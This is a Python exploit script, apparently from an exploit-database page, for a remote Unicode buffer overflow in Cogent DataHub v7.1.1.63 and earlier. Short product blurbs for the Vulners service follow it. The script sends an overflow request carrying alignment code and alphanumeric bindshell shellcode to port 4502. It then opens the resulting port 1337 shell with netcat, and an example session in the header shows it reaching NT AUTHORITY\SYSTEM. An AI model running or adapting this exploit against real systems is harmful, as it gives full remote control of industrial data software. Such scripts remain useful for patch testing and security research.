`#!/usr/bin/python
#
# Cogent Datahub <= v7.1.1.63 Remote Unicode Buffer Overflow Exploit
# tested on:
# - windows server 2003
# - windows XP sp3
# questions >> @net__ninja || @luigi_auriemma
# example usage:
# [mr_me@neptune cognet]$ ./cognet_overflow.py 192.168.114.130
#
# -----------------------------------------------------
# ------ Cogent Datahub Unicode Overflow Exploit ------
# ------------- Found by Luigi Auriemma ---------------
# --------- SYSTEM exploit by Steven Seeley -----------
#
# (+) Sending overflow...
# (+) Getting shell..
# Connection to 192.168.114.130 1337 port [tcp/menandmice-dns] succeeded!
# Microsoft Windows [Version 5.2.3790]
# (C) Copyright 1985-2003 Microsoft Corp.
#
# C:\Program Files\Cogent\Cogent DataHub\plugin\TCPMaster>whoami
# whoami
# nt authority\system
#
# C:\Program Files\Cogent\Cogent DataHub\plugin\TCPMaster>
import socket,time,sys,os
# bindshell on port 1337
shellcodez = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQA"
"IAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1"
"111AIAJQI1AYAZBABABABAB30APB944JBKLQZJKPMK8JYKOKOKOQPTK"
"2LMTMTDKOUOLTKCLKUT8M1JOTKPOLXTKQOMPM1JKOY4KNTTKM1JNNQ9"
"04Y6LU4I0D4M77QHJLMKQ92ZKL4OK0TMTO8BUIUTK1OO4KQZK1VDKLL"
"PKTKQOMLM1ZKM3NLTKU9RLMTMLQQ7SNQ9KQTTK0CNP4KOPLL4KRPMLV"
"M4KOPLHQN384NPNLNJLPPKOJ6QVPSQVQX03OBRHT7RSNR1OB4KO8PBH"
"XKZMKLOKR0KOHVQOU9YU1VE1JMM8KRB5QZLBKOXPBH8YM9JUFMQGKOZ"
"6PSPSR30SQCPC23PCPSKOXPC6RHKUP936PSSYYQV5QX5TMJ40GWPWKO"
"8VRJLPR1R5KOHPQXG4VMNNIY0WKOZ6QC25KOXPBH9U19U6OY27KO9FP"
"PR4R41EKOXPUC1X9W49GVRYPWKO8V0UKOXP1VQZRD2FQXQSBMU9YUQZ"
"0PPYNI8LTI9W2J14U9K201GPKCUZKNORNMKNPBNL63TM2ZNXVKFK6KQ"
"XBRKNVSN6KOT5Q4KOIFQK0WB2PQ0Q0Q1ZM1PQR1PUR1KOXPRHVMJ9KU"
"8NQCKOHVQZKOKO07KOZ0DK0WKLTCWTRDKOHV0RKO8P38JPTJKTQOR3K"
"O8VKO8PKZA")
align= ""
align += "\x54" # push esp
align += "\x6f"
align += "\x58" # pop eax
align += "\x6f"
align += "\x05\x6f\x11" # add eax,11006f00
align += "\x6f"
align += "\x2d\x37\x01" # sub eax,01003700
align += "\x6f"
align += "\x2d\x37\x10" # sub eax,11003700
align += "\x6f"
align += "\x50" # push eax
align += "\x6f"
align += "\x48" # dec eax
align += "\x6f"
align += "\x48" # dec eax
align += "\x6f"
align += "\x55" # push ebp
align += "\x6f"
align += "\x59" # pop ecx
align += "\x08" # add [eax],cl (carve a 'RETN' onto the stack)
align += "\x6f"
align += "\x40" # inc eax
align += "\x6f"
align += "\x40" # inc eax
align += "\x6f\x41" * (48) # inc ecx (will not effect to our payload)
align += "\x6f"
align += "\x62" # becomes our carved RETN on the stack (0x61+0x62=0xc3)
request = "(domain \""
request += "\x61" * 1019
request += "\x7f\x55" # jmp esp 0x0055007f
request += align
request += shellcodez
request += "\")\r\n"
def banner():
banner = "\n-----------------------------------------------------\n"
banner += "------ Cogent Datahub Unicode Overflow Exploit ------\n"
banner += "------------- Found by Luigi Auriemma ---------------\n"
banner += "--------- SYSTEM exploit by Steven Seeley -----------\n"
return banner
if len(sys.argv) < 2:
print banner()
print "(-) Usage: %s <target addr> " % sys.argv[0]
sys.exit(0)
target = sys.argv[1]
print banner()
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((target,4502))
except:
print "[-] Connection to %s failed! % (target)"
sys.exit(0)
print "(+) Sending overflow..."
s.send(request)
s.recv(1024)
# wait for the target, sheesh.
time.sleep(2)
print "(+) Getting shell.."
os.system("nc -vv %s 1337" % target)
s.close()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation